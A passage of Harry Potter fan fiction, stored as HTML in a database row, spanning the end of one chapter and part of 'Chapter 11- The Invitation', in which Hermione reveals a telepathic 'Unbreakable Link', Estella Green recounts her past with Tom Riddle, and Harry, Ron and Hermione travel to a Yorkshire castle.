snitch! What happened? No-one knocked into you, I saw, because you were up near the goal." \n</p><p>\nHarry frowned, "Would you think I was totally mad if I said I thought someone had told me where the snitch was in my mind?" \n</p><p>\n"Yes," Ron answered promptly, "or else it\'s some trick of You-Know-Who\'s." \n</p><p>\n"What do you think, Hermione?" Harry asked, "because- I say! Do you have any books on telepathy? I think I\'ve just worked something out!" \n</p><p>\n"Telepathy? Yes, I think I\'ve got one out of the library. You can borrow it if you like. I\'ll go and get it now." Hermione ran off towards the castle. \n</p><p>\n"What are you on about? What\'s telepathy?" asked Ron. \n</p><p>\nHarry looked at him blankly, "You see, I think it was Hermione who was speaking in my mind, and that doesn\'t make any sense." \n</p><p>\n"Hermione? Why would she do that? I know, maybe she\'s found some complicated spell and wants to test it out before she tells us, as a joke." \n</p><p>\n"Maybe," said Harry, unconvinced, "I don\'t know though. Why didn\'t she tell us? I think it\'s more serious than that. I remember something like that before- What was it?" Suddenly a look of comprehension crossed his face, "Oh Ron! It is serious! Hey, see you soon!" And thrusting his Firebolt into Ron\'s surprised hands he dashed as fast as he could towards the school building. \n</p><p>\nOnce inside, Harry ran straight up to the library. It was deserted. Even Madame Pinch seemed to have gone to watch the quidditch.  Ignoring the temptation to look in the restricted section, Harry went to straight to the shelves to look under the letter \'T\'. \n<i>Trigonometric ratios in the World of Astronomy</i>; <i>Toxicology- A guide to Magical Poisons</i>; <i>Guide to Magical Creatures- Transilvanian Turtles</i>.  How many books had titles beginning with a T? thought Harry as he ran his fingers down the spines. Eventually he found <i>A beginners guide to Telepathy</i>. \n</p><p>\nHarry pulled it down off the shelf and sat down with it at the nearest table by the door. He had just read the first few pages (the contents pages) when the door of the library opened and Madame Pince entered. She cast her eyes around the room until they landed on Harry. \n</p><p>\n"POTTER!" she screamed. Harry\'s eyes jerked up from his book. \n</p><p>\n"Yes?" \n</p><p>\n"Now I\'ve really got you! Don\'t think I didn\'t know about your wandering about at night, boy." \n</p><p>\n"What?" asked Harry confused. \n</p><p>\n"Don\'t play the innocent with me! I know all about it. For the last five years you have been coming in here after dark, spread muddy footprints around the floor, taken out books and then not put them back. Let\'s see that book!" She snatched up his book as the door opened silently behind them, "Look! It\'s the same book too! Telepathy! Always telepathy, and left open on the table on the pages on the Unbreakable Link for me to put away in the morning! I suppose you think it\'s funny, don\'t you? Well, now I\'ve caught you. You can come back tonight to clean up this mess and prepare an essay for me on why we must keep the school facilities in good condition. Make no mistake, this will be going to the Headmaster!" \n</p><p>\nShe stalked off angrily with Harry\'s book in her hand. Harry stared after her in surprise, what had that been about? He had certainly not been trailing mud about in the night to read about telepathy. How unfair can one get! And now detention and an extra essay to do. He stormed off towards the door and bumped into someone standing by it. \n</p><p>\n"Watch where you\'re going!" said Hermione with a blush of surprise. \n</p><p>\n"Hermione!" said Harry, taken aback, "where were you going?" \n</p><p>\n"Oh, it turns out I took that book back, so I was going to get it out again for you." \n</p><p>\n"Thanks, but you don\'t need to. You can talk to me instead of my reading the book." \n</p><p>\n"Talk about what?" asked Hermione faintly. \n</p><p>\nHarry paused, "I wanted to ask you something." \n</p><p>\n"Well, shall we go back to the common room? Madame Pince won\'t want to catch you hanging around the library at the moment, will she?" \n</p><p>\n"No! I mean, let\'s go in here." Harry grabbed her arm and dragged her into the nearest room. It was a pitch black, dark book storage room. Hermione stared at him in astonishment, "Erm, I hate to interrupt, but wouldn\'t the common room be more comfortable?" she said as Harry pushed her onto a packing case full of old books. \n</p><p>\n"It would most certainly not be," replied Harry sitting down on another packing case, "Anyway, I wanted to ask you." \n</p><p>\n"Yes?" asked Hermione, feeling slightly nervous. What was he going to ask her...! Common sense told her it was about the quidditch match, but some part was wishing he was going to ask her- that was ridiculous! She was Hermione not Lavender! \n</p><p>\n"Was it you who was talking to me at the quidditch match, and who told me where the snitch was?" \n</p><p>\n"It was me," Hermione replied, letting out her breath in... disappointment? \n</p><p>\n"OK, I thought it sounded like you and I just had to know. How do you do it?" \n</p><p>\nHermione considered for a minute then sighed, "I suppose you would have found out sooner or later. You remember in the summer how you managed to give your invisibility cloak to me and also to warn me about the guards?" \n</p><p>\nHarry nodded, "I thought it had something to do with that." \n</p><p>\n"Yes. Anyway, we have this very rare condition- Don\'t look like that! It\'s not that bad! It\'s called the Unbreakable Link, and it means that when you\'re eighteen as well as I am, we will be able to communicate through our minds, a bit like telepathy." \n</p><p>\n"Wow! So I never have to say anything to you ever again?" \n</p><p>\nHermione laughed, this wasn\'t such an ordeal as she had expected it would be, "Theoretically you\'re right. Practically, I\'d rather you talked to me than just thought to me." \n</p><p>\nHarry grinned, "All right, so how do you do it?" \n</p><p>\n"I can think to you now because I\'m already eighteen, and you can hear me. You won\'t be able to think back to me until July. Well you might, in an emergency if you tried very hard." \n</p><p>\n"Is that the only thing that we can do?" \n</p><p>\n"No, we can also pass objects between us if we really need them. That\'s how you gave me the cloak when I really wanted it in Greece." \n</p><p>\n"Cool! Is that it?" \n</p><p>\n"Yes.  I mean no," Hermione hesitated. \n</p><p>\nHarry looked panicky, "What is it? What are the side effects?" \n</p><p>\n"Oh no. There\'s no side effect. I just forgot this bit. I\'ve remembered now. If we say the same spell at exactly the same time then the power of the spell is tripled." \n</p><p>\n"Oh," said Harry blankly. "So I guess you\'re in on it now." \n</p><p>\n"What do you mean?" asked Hermione, though she already had an idea of what the answer was going to be. \n</p><p>\n"You\'ll have to help me fight Voldemort now. I was probably going to have to fight him again. He wants to kill me as you know. Voldemort\'s almost immortal and so Avada Kedavra can\'t kill him. Perhaps Avada Kedavra magnified three times would kill him. Do you see?" \n</p><p>\nHermione nodded, "I see. I\'d seen that before, I just didn\'t want to believe it. I have to admit that fighting Voldemort isn\'t going to be my favourite Sunday afternoon activity, but..." \n</p><p>\n"I\'ve already done it about five times, so ha!" \n</p><p>\n"Aw. I\'ve missed out on so much," she replied with mock sadness. \n</p><p>\nThey both burst out into hysterical laughter and for a minute were oblivious to the world. When she had recovered, Hermione felt much better. "I\'ve been winding myself up all year, and that got it all out of my system." \n</p><p>\nHarry stared at Hermione in surprise, "I didn\'t know you could laugh like that!" \n</p><p>\n"Nor did I! Still," she replied setting her face into a solemn expression, "you do know what we are talking about? It\'s not to be jested at." \n</p><p>\n"Are you suggesting that famous Harry Potter doesn\'t know what he\'s talking about?" Harry\'s attempt at solemnity was quite ruined by his sneezing violently at the end of his line, causing Hermione to start laughing again. \n</p><p>\nHarry pushed open the door of the book room and they stumbled out into the bright light, Hermione still clutching her sides. She gave a last hiccup and stared round the deserted corridor slightly bewildered. \n</p><p>\n"You all right, Hermione?" asked Harry anxiously, who had a cobweb in his hair. \n</p><p>\n"Yes. Quite all right, thank you. I think we both needed that, though. We\'ve been as tense as a piece of wire all term, we would have cracked anyway sometime. Oh, by the way, you do look funny, covered in mud and dust," she added. \n</p><p>\n"Seriously though," Harry said ignoring Hermione\'s last comment about his appearance, and putting his hand on her shoulder, "It will be a lot more comforting to have a companion while I try no to die." \n</p><p>\n"You won\'t die, Harry." Hermione said decidedly while trying not to go red and look at his eyes. \n</p><p>\n"You sound very sure about that," Harry replied grimly releasing her and leaning against the wall. \n</p><p>\n"I am sure." \n</p><p>\nHarry looked at her in puzzlement then shrugged his shoulders, "Come on, I need to get changed and everyone will wonder where we\'ve gone. There\'s supposed to be a party in the common room. That\'s why I didn\'t want to go back there." \n</p><p>\nHarry went of in the direction of the changing rooms and Hermione watched him disappear round the corner of the corridor. She sighed. I might have known, she thought. \n</p><p></p><div class="center"><i>\nHoney, Honey \n</i></div><p></p><p>\nHow he thrills me, aha, honey, honey \n</p><p>\nHoney, honey \n</p><p>\nNearly kills me, aha, honey, honey \n</p><p>\nI\'ve heard about him before \n</p><p>\nI wanted to know some more \n</p><p>\nAnd now I know what they mean \n</p><p>\nHe\'s a love machine \n</p><p>\n(Oh, he makes me dizzy)\n</p><p>\n"Damn," muttered Hermione as she made her way back to the common room. \n</p><p></p><div class="center">*</div><p></p><p>\nA large golden owl flew through an open window of the castle. Eagerly Voldemort relieved it of its burden and tore open the letter. \nA minute later he let out a scream of rage and impatience causing the girl sitting by his chair to flinch a little. \n</p><p>\n"Beaten! Beaten again by a woman!" screamed Voldemort crushing his letter.  "Running on and on about how she wants to see me, and never once telling me what I want to know." \n</p><p>\n"Do you think," suggested the girl timidly, "she realised that you were wanting her to tell you who her daughter was?" \n</p><p>\nHe wheeled round on her, "We are dealing with the most clever woman in England here, fool. She saw through me I know. Anyway, at least we can find out exactly where she is." He tapped the owl with his wand and said, "Revelio Indrum!" \n</p><p>\nNothing happened. Voldemort cursed under his breath, "How dare she conceal her whereabouts? Does she know who she is working against? Lord Voldemort! She\'ll never win! Never! This does it- if she puts one foot near here then she dies!" \n</p><p></p><div class="center">*</div><p></p><p>\n"We\'re leaving for England, Susanna." Estella Green paced the hotel room, her black eyes glinting. \n</p><p>\n"Is that wise, Signora?" asked her confidant. \n</p><p>\n"Wise? Wise? I must see her. You don\'t understand- she is my daughter! You are not a mother. You don\'t know. I have not seen her for eighteen years. I cannot tell her who I am, cannot tell her who she is. She thinks her name is- Oh Susanna, I need to see her." \n</p><p>\nSusanna was quiet. She had always thought her leader was cold, with as much emotion as a wet flannel. She was surprised to see her with a strange look in her normally expressionless eyes. \n</p><p>\n"Oh, don\'t look like that! I won\'t hurt. I\'m only human, I love her. I only wish I could see her and tell her. It was the same me who fell in love with Tom Riddle all those years ago at Hogwarts. He was so handsome and brave! We were perfect for each other in every way; I had the brains to think things through, and he had the nerve and courage to do what I suggested. He loved me too. But all the time I knew it would not last; we were too different. I was only put in Slytherin because I wanted to be with Tom. I fell in love with him on the train. I was a fool. But my life changed when they put me in Slytherin. \'You will find your true friends in Slytherin\' they say. I certainly got relative fame and made friends with my hero. But I will never forget what the sorting hat said to me, \'You may wish to be in Slytherin, but a part of you will always remain in Gryffindor.\' I always wondered what it meant. Then Trelawney made her prediction and Elvira was born- that glorious Indian summer day! I was so happy until Tom told me of his plan. I hated him then. He had robbed me of all my chances as a person, and now he was going to rob me of my rights as a mother. I was furious with him. I left him that night with Elvira. I wasn\'t going to comply with his wishes then. I did though. Why? I still ask myself. I think I know though. Tom wouldn\'t have been able to find me, but with a baby- that\'s harder. Also, Trelawney\'s prediction. Tom had remembered the prophecy wrong, and I hope that Elvira has a little of Gryffindor in her blood, a little of me, not just Tom. And Harry Potter. I always longed to know what would happen when Elvira met young Harry. I knew that the prophecy concerned Harry Potter and my daughter. Who else could be the son of Light? With his mother being who I think she was? Though that doesn\'t make sense.  Still... Harry Potter. Without him I would never have given Elvira to those good muggles. They will defeat Tom because Harry will never join the dark side, and Elvira will never join her father. She will never join me either. She will join her Harry Potter and they will fight... and they will win." \n</p><p>\nShe stared at Susanna, who was audibly sniffing.  Estella laughed, though a little shakily, "Well, there you have it. My life story. Well, people always said I should have been an actress in Tragedy. Maybe that would have been a better career than trying to take over the world. Anyway, now you know why we are going to England as well as to pick up Fudge. He will supply us with interesting information about Elvira and Harry Potter. I am worried for him... In his letter Tom said Harry was in the palm of his hand... I must warn the boy. We cannot have Potter caught. Then Tom will be back in power for real and I can do nothing to stop him. I cannot kill him... I loved him once. I only hope Harry and Elvira will do it for me. Then I can start to take control. I wonder," she added with a laugh, "what Tom thought when he got my letter. He must have been mad! I only hope Elvira knows who she is though, what her destiny is, who it concerns. She will if she\'s any daughter of mine." \n</p><p>\nThere was silence- almost a reverential silence like in a church. Then Susanna stood up and started to pack the bags for England. \n</p><p></p><div class="center">*</div><p></p><p>\nA scream pierced the night. A light flashed on, and Jane Sullivan crawled out of bed. She groaned as another light was switched on and Abby Pentium sat up in her bed. The only light that was not on now belonged to Mia Grann, and it was Mia who had screamed. Jane and Abby looked at each and Abby gave a large shrug as if to say, "There\'s nothing we can do." Jane walked over to Mia\'s bed and looked down at the sleeping girl. Mia looked very \'sweet\' when she was asleep. Her long, wavy golden-brown hair was spread across the pillow making her look, as Jane and Abby often thought, like Sleeping Beauty. The thing was, Jane and Abby were very often awake when Mia was sleeping. Mia screamed in the night quite a lot. No-one knew why. Now it had gone too far. Jane shook her roommate awake. \n</p><p>\nMia woke up groggily and the first thing her eyes fixed on was Jane\'s picture of Shane Westlife on the noticeboard by the door. \n</p><p>\n"Where\'s the fire?" Mia asked yawning. \n</p><p>\n"Nowhere, you silly. You screamed so we woke you up because we can\'t stand another night of your waking us up in the middle of it. It upsets our sleep pattern," said Abby directly. \n</p><p>\n"We\'ll have to ask Miss Fairfax to move you into another room if you do it again," added Jane. \n</p><p>\nMia stared at her friends in shock, "I wake you up by screaming? Everynight?" \n</p><p>\n"Not quite that often," reassured Abby. \n</p><p>\n"Oh dear. It must be my dream." \n</p><p>\n"Your dream?" prompted Jane. \n</p><p>\n"Yes, I never told you because I didn\'t... didn\'t want to discuss it. I think it was about the night I was left here." \n</p><p>\nHer friends were silent. Like everyone else in the orphanage Mia had no parents. Or rather, she didn\'t think she had. She had been \'found\' by the Principle of the establishment, Miss Fairfax on the frontstep of the building one morning about seventeen years ago when Mia had only been one year old. With it was a letter explaining that the name of the baby was Mia Grann and giving her date of birth. It gave nothing else away. Miss Fairfax had had to take Mia in. Mia had been eleven when Miss Fairfax told her exactly what happened. Before, she had thought her parents had been killed in a car crash when she had been very little. Everyone seems to die in car crashes, Mia had thought. Many of the children who had mysteries surrounding their arrival at the orphanage were told that their parents had died in a car crash. \n</p><p>\nNearly every night Mia had the same dream, and the more she had it the less it made sense to her. It now seemed as though she screamed when she had it. Mia was actually quite glad to talk to someone about it. Maybe Jane or Abby would know what to do about it. Mia cleared her throat and started. \n</p><p>\n"When the dream starts I see a modern house somewhere and on the lawn a man and a woman are playing with a baby. I know that that baby is me. I just know it. We\'re so happy! Then, suddenly, I can see this woman in a long black cape and a bundle in her arms. She appears on the lawn from nowhere and my parents jump up and my mother and this strange woman, who I think looks creepy, start talking. My parents look really scared. Then the woman takes a short wooden stick out of her cloak and points it at my parents who start screaming, and my mother puts herself in front of me. The woman talks some more then says something weird like, \'Impervious!\' You know, that stuff raincoats are made of, or something. Then my parents go into a dreamy state. The woman says something- it\'s really weird, I can\'t hear any of the dialogue. Just, the main words as it were. My mother gives her the baby." \n</p><p>\n"No!" cried Jane. \n</p><p>\n"Yes. And the woman puts me on the grass, and she picks up the bundle she had been carrying and says something to it then gives it to my mother. Then she points the stick at the bundle and yells something that sounded like, "Transformation!" and then different parts of the body and some words in Latin I think, then there is a flash of red light coming from nowhere and the bundle screams-" \n</p><p>\n"Aww, it must be a baby!" cooed Abby. \n</p><p>\n"I think it must have been. The bundle screams and I scream, and that must be when you hear me. Normally if you hadn\'t woken me I would have continued dreaming. When the red light had gone, the bundle continued wailing and my parents were still looking dazed. Then the lady in black pointed the stick at my parents and shouted, \'Obliviate!\' They went even more dazed and dreamy, then looked at the bundle and started playing with it like they had done with me before. Then the lady picked me up, and I don\'t remember any more. But we were so happy!" \n</p><p>\nMia was crying now. \n</p><p>\nJane put an arm round her friend, "Oh, cheer up Mia.  I\'ll get you some Westlife tickets!" \n</p><p>\nMia managed a watery smile. \n</p><p>\nAbby frowned, "I think you should tell Miss Fairfax, Mia, you never know she might-" \n</p><p>\nThe door opened, "What might I know?" In the doorway, a purple hairnet round her red bob stood Miss Fairfax herself. \n</p><p>\nThe three girls gulped and Mia choked a bit. Miss Fairfax seemed to notice that she was crying and she said, "What\'s wrong, Mia?" \n</p><p>\n"She had a nightmare," said Abby swiftly. \n</p><p>\n"Oh dear. Are you all right now? Do you want to tell me what it was about?" \n</p><p>\nMia nodded and told Miss Fairfax what she had just told Jane and Abby. At the end, Miss Fairfax threw her hands in the air and said, "Goodness. Not another one obsessed with cloaks and magic wands!" \n</p><p>\n"Magic wands!?" cried Mia, Jane and Abby. \n</p><p>\n"Yes. That stick was probably supposed to be a magic wand. I wonder if you are possibly related to the other boy we had here..." \n</p><p>\n"Which boy?" asked Jane, always eager to hear about a boy. \n</p><p>\n"Oh, it was a long time ago.  A boy, what was his name, Thomas something, came here. Got a funny letter when he was eleven and went away to a supposed magic school. Load of nonsense if you ask me. He just wanted to get away from here. He came back here at the end of his education all dressed in a black cloak like you described with a stick like that as well, and he was simply evil! He killed one of the pupils with it. Dreadful commotion. Then he laughed. I think he was mad. We never saw him again." \n</p><p>\n"I should say he was mad," cried Abby warmly, "To kill someone like that!" \n</p><p>\n"I should hate to think I am in anyway connected with that boy," said Mia with a shudder. "Anyway, I don\'t believe in magic." \n</p><p></p><div class="center">*</div><p></p><p>\nFar away, at Hogwarts School of Witchcraft and Wizardry, Harry Potter, Ron Weasley and Hermione Granger were preparing for their very final exams, the NEWTs (Nastily Exhausting Wizarding Tests). \n</p><p>\nThere was only one week away until the first exam and Harry, Ron and Hermione were finding that the work was being more than piled on. \n</p><p>\n"According to Fred and George," Ron said hopefully as he highlighted his Care of Magical Creatures notes, "after the NEWTs you don\'t do anything all summer term." \n</p><p>\n"What?" cried Hermione, "Scandalous! What is the point in not teaching us all through one term? They should sent us home early if they\'re going to do that!" \n</p><p>\n"You\'ve given me an idea!" said Ron with a grin. "Anyway, Snape and McGonagall keep us going until the end." \n</p><p>\n"Good! I should think so too!" said Hermione. \n</p><p>\nHarry had told Ron all about the Unbreakable Link and how he had it with Hermione. Ron was absolutely astonished, and a bit angry that Harry had not told him about his dream that summer. Harry felt a bit guilty about that too. However, both had grown up enough not to fight over it, much to Hermione\'s relief.  He had not told Ron about how Hermione was now going to have to fight Voldemort. He didn\'t want to add to Ron\'s present worries. \n</p><p>\nHarry had tried to persuade Hermione to help him cheat in the exams, by telling him all the answers through his mind, but Hermione refused. ("How low can you stoop?! Honestly!") \n</p><p>\nHarry, Ron and Hermione had all discussed the magical intruder to the library that had given Harry detention. Neither of them could think who it could be. \n</p><p>\nThe days ticked by, the hours magically disappeared, the minutes trickled away and then- \n</p><p>\n"Please come in." \n</p><p>\nIt was Professor McGonagall opening the door to the Great Hall to beckon the long line of nervous seventh years into the exam room for their first exam, Charms. It reminded Harry of his first day of Hogwarts when they had queued up to be sorted. \n</p><p>\nNeville had gone white and was clutching a strange amulet as a good luck charm. Lavender was crying and Parvati had spent the whole morning hugging everyone and saying, \'Good Luck\' to them. Hermione looked pale and nervous, but strangely calm. Harry\'s mind seemed to have gone completely blank, and Ron was repeating spells which he knew perfectly well over and over again as if his brain had got stuck in a groove. Even Draco Malfoy looked quite uncomfortable and Pansy Parkinson was rumoured to have fainted earlier in the lavatories. \n</p><p>\nAs they trooped into the Great Hall Professor McGonagall, who was chief adjudicator, took each of their wands and quills and bewitched them with anti-cheating spells. \n</p><p>\nThe Great Hall was completely transformed. Instead of the five large tables, there was row upon row of desks and chairs, one per person. At the front of the room the teacher\'s table had piles of papers on it and a massive clock in the middle. Standing in front of the table were Professor Black, Professor Figg and Professor Snape. They were each holding a thick pile of what looked horribly like the exam papers. Harry was starting to feel sick. \n</p><p>\nSoon everyone was seated in register order. (Harry was near the back but not far enough away to avoid the luminous dial of the clock.) He was sitting behind a fair-haired Ravenclaw girl he didn\'t know. He couldn\'t see Ron or Hermione. \n</p><p>\nProfessor McGonagall was speaking again, "The desks are bewitched so that you cannot talk to your next door neighbour and also so that you can\'t pass notes. There isn\'t any way you could possibly cheat." \n</p><p>\nProfessor McGonagall\'s nostrils flared. Harry grinned, <i>Oh yes there is</i>, he thought. \n</p><p>\nShe continued, "The exam lasts for four hours including your practical test which will take place in the room by Professor Figg." Arabella, looking unusually serious, stepped back to reveal a door with \'Practical Exams\' written on it. \n</p><p>\n"There, Professor Flitwick will set you a task to perform and he will be the examiner. Professor Dumbledore is a co-examiner of the practical. When you hear your name please get up quietly with your paper and wand and go into that room. You will give your paper to me; I will stay here all the time. You can get it back when you have finished the practical. Professors Snape, Black and Figg will be patrolling the aisles to check up on you. I want total silence from now on. Anyone who isn\'t will be disqualified." \n</p><p>\nShe paused ominously, and Harry noticed that Snape looked particularly pleased at this point and that Sirius and Arabella looked particularly grave. Arabella nodded her head a few times as if to emphasise McGonagall\'s point. \n</p><p>\nSnape, Sirius and Arabella gave out the papers. On the front cover was a blank space for your name, house, date of birth and school. There was a box already filled in with the date of the exam. In the centre of the page was a large title saying: </p><p></p><div class="center"><b>NEWTs EXAMINATION IN CHARMS</b></div><p></p><p> Below that a slightly smaller sized font read: </p><p></p><div class="center"><b>THEORY PAPER- 4 HRs</b></div><p></p><p> At the bottom of the page in an even smaller font it said: </p><p></p><div class="center"><b>PLEASE DO NOT TURN OVER</b></div><p></p><p>\n</p><p>\nHarry looked up, at the giant clock, it was thirty seconds until nine o\'clock.  Time seemed to stop. Then Professor McGonagall\'s voice said, as if from very far away, "No talking please. Good luck, you may start." \n</p><p>\n<i>This chapter has now ended.</i>\n</p><p>\n'),
	(62, 11, '<p><i>Disclaimer:  One author to rule them... and it\'s not me.  Her name\'s JK Rowling and she wrote the original series...</i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 11- The Invitation\n</p><p>\nWhen Harry woke up at six o\'clock on Saturday the twelfth of April he felt as if a burden had been taken off his mind- the NEWTs were over and it was the Easter holidays. The dormitory was quiet as the other boys slept off the strain off the past few months. Harry, accustomed from his days with Dursleys, was an early riser. Not being able to sleep he got up and dressed and went down to the deserted common room. \n</p><p>\nThrough the windows of the common room Harry could see that the weather was good. There was a clear sky with only a few white clouds. A perfect day for quidditch, he thought. He sat down on the window seat and waited for someone else to come down. \n</p><p>\nThe next arrival in the common room was not actually human. It was Hermione\'s cat, Crookshanks. Crookshanks had not even come from the dormitories, he seemed to have come from the portrait hole, though how an ordinary cat had managed to get through the portrait hole did not cross Harry\'s mind. Crookshanks was not an ordinary cat.  He crept along to Harry and jumped onto his knee. Since Peter Pettigrew had been found and Sirius had been cleared of all his charges  Crookshanks had become a model pet. The day when he had jumped on Ron\'s head when Harry, Ron and Hermione had seen him first was all in the past. It seemed almost providential that Hermione should have chosen the one cat in the world who knew Sirius and Peter were Animagi, to be her pet, Harry thought. After all, how many cats can tell that Pettigrew was bad and Sirius was innocent? \n</p><p>\nCrookshanks seemed to be able to tell that Harry was slightly suspicious of him, for he tensed up in Harry\'s lap and his luminous green eyes frowned up at him. Fortunately at that moment someone came into the common room. \n</p><p>\n"Oh, you\'ve got Crookshanks, Harry," said Hermione as she spied him on the window seat and approached him carrying a large book. \n</p><p>\n"Good morning, Hermione! Always so cheerful, aren\'t you? You sound so happy to see me!" \n</p><p>\nHermione trilled sarcastically, "Oh what a lovely morning! Harry, I\'ve never been happier in my life before now than to see your handsome face on this glorious morning!" \n</p><p>\n"No need to over do it. Aren\'t you glad to have finished your exams, though?" \n</p><p>\n"Yes, I am. I can\'t wait for the results though." \n</p><p>\n"Typical. I\'m perfectly happy to wait." \n</p><p>\n"You\'ll have done fine. There\'s no need to worry." So saying she pulled out a very thick book. \n</p><p>\nHarry groaned, "What\'s that?" \n</p><p>\n"Oh, the complete set of plays of Oscar Wilde. They\'re very funny." \n</p><p>\n"Better than the book you were reading on the train, I suppose?" \n</p><p>\nHermione looked amused, "You remember that? Yes, much better than that stuff by Miss Green." \n</p><p>\n"Miss Green!" cried Harry jumping up, "Not <i>the</i> Miss Green? You know, Estella!" \n</p><p>\n"Do you really think so? It seems unlikely, that she should write books to earn a living." \n</p><p>\n"Well, she\'s got to get money some how." \n</p><p>\n"S\'pose." \n</p><p>\nHermione read <i>Lady Windermere\'s Fan</i> and Harry looked out of the window until eight o\'clock when Ron woke up and they all went for breakfast. \n</p><p>\nRon was in a good mood. Such a good mood in fact that he kept whistling the Weird Sisters\' new album causing Harry and Hermione to exchange amused glances behind Ron\'s back. Still, Harry knew what Ron meant. \n</p><p>\nEvery seventh year at breakfast was very happy and it spread onto the sixth years as well. Some Hufflepuffs even started a food fight. \n</p><p>\nWhen the owls flew down into the Great Hall three owls approached the Gryffindor table. They landed in front of Harry, Ron and Hermione. \nHarry picked up his letter and looked at it. It was sealed on the outside with a seal of a Dragon. So were Ron and Hermione\'s. Harry opened his. It seemed to be an invitation. \n</p><p></p><div class="center"><b>\nDear Mr. Harry Potter, \n</b></div><p></p><p>\nYou are cordially invited to spend a week at Castle Squear in the Yorkshire Pennines in the company of Lord Timothy Eldir and his household. \n</p><p>\nHis Lordship is a friend of the well-known Professor Dumbledore and is most desirous of meeting you and your friends, Mr. Weasley and Miss Granger who are likewise invited. He is very eager that you show his Lordship some magic. Activities will be provided every day. \n</p><p>\nHis Lordship\'s servants will collect you and your friends from the village of Hogsmeade on the fourteenth of April if you wish to come. Send your reply back with your owl as soon as possible. \n</p><p>\nYours sincerely, I. M., \n</p><p>\nHis Lordship\'s housekeeper\n</p><p> \nHarry stared at the letter in surprise and then looked across at Ron\'s, which was exactly the same as his, only addressed to Mr. Ronald Weasley. He assumed Hermione\'s would be the same as well. \n</p><p>\n"Well," said Ron eagerly, "this sounds great, doesn\'t it? Just imagine, we\'ve been invited to stay in some great castle with a famous peer. Ginny will be so jealous!" \n</p><p>\n"Hold your horses a minute, Ron!" said Hermione sharply, "This all looks very suspicious to me. It says that this Lord Eldir, who sounds about as phoney as you can get, wants us to show him magic. This suggests that he is a muggle. If that is a case, how come he knows about us and is inviting us to stay?" \n</p><p>\n"Oh, Hermione, you\'re seeing problems round every corner," sighed Harry.  "I agree with Ron- it sounds wonderful. Besides, it says that he is a friend of Dumbledore, he must have heard of us through him." \n</p><p>\nHermione didn\'t seem convinced, "Very obliging of I. M. to give us that information. Also, who nowadays keeps servants? Let\'s see," she muttered, and taking out her wand, she performed a series of little spells on the manuscript. When she finished she looked up vexed, "I can\'t see anything wrong with it. It all looks genuine, I\'m afraid. The paper was bought in WH Smith, so was the fountain pen it was written with, and so was the ink. It looks very much like I. M. is really a muggle, and I can\'t think that Voldemort would employ a muggle, even to trick us." \n</p><p>\n"Voldemort!" cried Harry in surprise. \n</p><p>\n"Well, who else would want to lure you out of the castle?" replied Hermione. \n</p><p>\n"I suppose." \n</p><p>\nHermione got up, "Well there is one way to check if this is a fraud or not," and so saying, she picked up her letter and moved over to the teachers\' table, where she confronted Professor Dumbledore. \n</p><p>\nHermione pointed at the letter and said something. Dumbledore smiled and said something as well. Then Hermione said quite a lot in one breath and Dumbledore frowned. He replied in quite a good deal of detail it seemed. Hermione nodded and said something and Dumbledore laughed. Then she returned to the table. \n</p><p>\n"Well," she said with a smile, "Dumbledore was expecting this invitation apparently. Lord Eldir is his friend and a muggle who loves the idea of magic. He is a perfectly genuine old man and would like to meet real witches and wizards. He has a massive old castle in Yorkshire and it actually sounds quite interesting. There\'s a large, old library, Dumbledore said." Hermione looked as if she was starting to be won over to the idea. \n</p><p>\n"Has Dumbledore been there himself?" asked Harry. \n</p><p>\n"No, I don\'t think so. Eldir has told him a lot about its history though. I look forward to hearing some of it myself." \n</p><p>\nHarry and Ron looked at each other and grinned. \n</p><p>\n"What about You-Know-Who?" asked Ron suddenly. \n</p><p>\n"Oh, Professor Dumbledore said that his spies hadn\'t been told of any plans to get hold of Harry. In fact, he told them that finding his daughter was more important than getting rid of Harry Potter at the moment. We should have no trouble with Voldemort, I hope." \n</p><p>\nTo Castle Squear, therefore, they were to go. \n</p><p></p><div class="center">*</div><p></p><p>\nHarry, Ron and Hermione left for Hogsmeade early on Wednesday morning. The story they had told the others was that they were going to see an aunt of Hermione\'s. Hermione hadn\'t wanted to lie, but as Harry had no relatives except the Dursleys and Ron\'s family was too well known to be suitable, she had to be the one with the phoney relations. \n</p><p>\nOutside the Three Broomsticks a large black, shiny Rolls Royce was waiting, much to the astonishment of Madame Rosmerta. A handsome driver who looked about as trustworthy as James Bond was seated at the wheel. When they approached he got out of the car and asked if they were Mr. Potter, Mr. Weasley and Miss Granger. Harry answered in the affirmative, and the driver loaded their trunks into the large boot and Ron, Harry and Hermione (in that order) scrambled into the back; Harry clutching Hedwig in her cage and Ron holding Pig\'s cage. Crookshanks jumped in after Hermione and they were off. \n</p><p>\nThe driver drove very fast especially round corners causing Harry to fall onto Hermione if they turned left and Ron if they turned right. Harry soon began to feel rather sick. The car lurched up hills and down them again for hours, twisting through narrow lanes. Ron, who wasn\'t as used to car travel as Harry and Hermione, was soon clutching onto the handgrip as if his life was at stake if he let go. \n</p><p>\nEventually they arrived at a small pub in a Yorkshire village in the Pennines. They passed into a coach yard and the car stopped. They tumbled out into a healthy country wind. Harry, feeling slightly wobbly, followed the driver out of the yard. The pub was facing the road, and beyond the road were the Pennines. Harry gasped at the wild beauty of them. Hills seemed to go on forever, their summits hidden in very low grey cloud. Their slopes were populated with nothing but pine forests or bare scrub land. Sheep and stone walls were dotted over them. Nothing else seemed to be alive, though Harry could see the occasional car moving along on the opposite hill and every now and then he could see a lonely farmhouse. The road they were travelling along was overlooking a valley with a reservoir in the bottom of it. Little white horses decorated its surface. Harry took a deep breath of cold air. \n</p><p>\n"Yes, it\'s beautiful, isn\'t it?" commented Hermione suddenly at his elbow. "I love Yorkshire. My aunt Grace lives in York and we go to see her sometimes." \n</p><p>\n"So you do have relations in Yorkshire!" Harry replied glancing down at her. Her cheeks were pink and her eyes bright. A couple of strands of brown hair were blown across her face. It occurred to him then that Hermione was actually rather pretty. The outdoors suits her, he thought. She blushed a bit at his admiring gaze. \n</p><p>\n"Come on, you two, I\'m hungry," interrupted Ron, "and I think the \'Gun Inn\' looks a good place to eat. I\'ve just gone to look at the menu while you two were <i>admiring the view</i>. They\'ve got steak and kidney pie, a roast, fish and chips..." \n</p><p>\nHermione blushed even more and they went in. \n</p><p>\nWhile eating treacle steamed puddings the driver told them that from this stage they would continue in a horse drawn carriage as there was not a suitable road from Denby Dale (where they were then). This surprised Harry a lot. "We\'re really cut off then," he said. \n</p><p>\n"Oh yes, there isn\'t another house for miles," replied the driver and he smiled. \n</p><p>\nHermione\'s eyebrows knitted 